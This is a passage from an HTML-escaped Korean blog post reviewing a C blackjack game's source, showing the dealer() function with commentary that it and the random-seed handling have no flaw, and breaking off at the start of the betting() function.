&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;srand() 함수에 의해 seed 값이 변경 되기 때문에 rand() 함수를 통한 카드의 종류를 예측할 수 없다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;randcard() 또한 문제가 없음을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(250, 244, 192);&quot;&gt;&lt;b&gt;dealer() function&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;9&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;10&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;11&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;12&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;13&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;14&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;15&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;16&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;17&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;18&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;19&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;20&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;21&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;22&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;23&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;24&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;25&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;26&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;27&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;28&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;29&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;30&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;31&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;32&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;33&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;34&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;35&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;36&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;37&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;void&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;dealer()&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//Function&amp;nbsp;to&amp;nbsp;play&amp;nbsp;for&amp;nbsp;dealer&amp;nbsp;AI&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;z;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(dealer_total&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;17&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;srand((&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;unsigned&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;time(&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;NULL&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//Generates&amp;nbsp;random&amp;nbsp;seed&amp;nbsp;for&amp;nbsp;rand()&amp;nbsp;function&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;z&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;rand()%&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;13&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(z&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//If&amp;nbsp;random&amp;nbsp;number&amp;nbsp;generated&amp;nbsp;is&amp;nbsp;10&amp;nbsp;or&amp;nbsp;less,&amp;nbsp;keep&amp;nbsp;that&amp;nbsp;value&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;d&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;z;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(z&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//If&amp;nbsp;random&amp;nbsp;number&amp;nbsp;generated&amp;nbsp;is&amp;nbsp;more&amp;nbsp;than&amp;nbsp;11,&amp;nbsp;change&amp;nbsp;value&amp;nbsp;to&amp;nbsp;10&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;d&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(z&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//If&amp;nbsp;random&amp;nbsp;number&amp;nbsp;is&amp;nbsp;11(Ace),&amp;nbsp;change&amp;nbsp;value&amp;nbsp;to&amp;nbsp;11&amp;nbsp;or&amp;nbsp;1&amp;nbsp;depending&amp;nbsp;on&amp;nbsp;dealer&amp;nbsp;total&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(dealer_total&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;d&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;else&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;d&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dealer_total&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;dealer_total&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;d;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;\nThe&amp;nbsp;Dealer&amp;nbsp;Has&amp;nbsp;a&amp;nbsp;Total&amp;nbsp;of&amp;nbsp;%d&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;dealer_total);&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//Prints&amp;nbsp;dealer&amp;nbsp;total&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;End&amp;nbsp;Function&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;dealer의 총 숫자의 합을 구하는 함수이다. srand() 함수를 통해 seed를 초기화하고, 딱히 잘못된 점이 없다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(250, 244, 192);&quot;&gt;&lt;b&gt;betting() function&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div 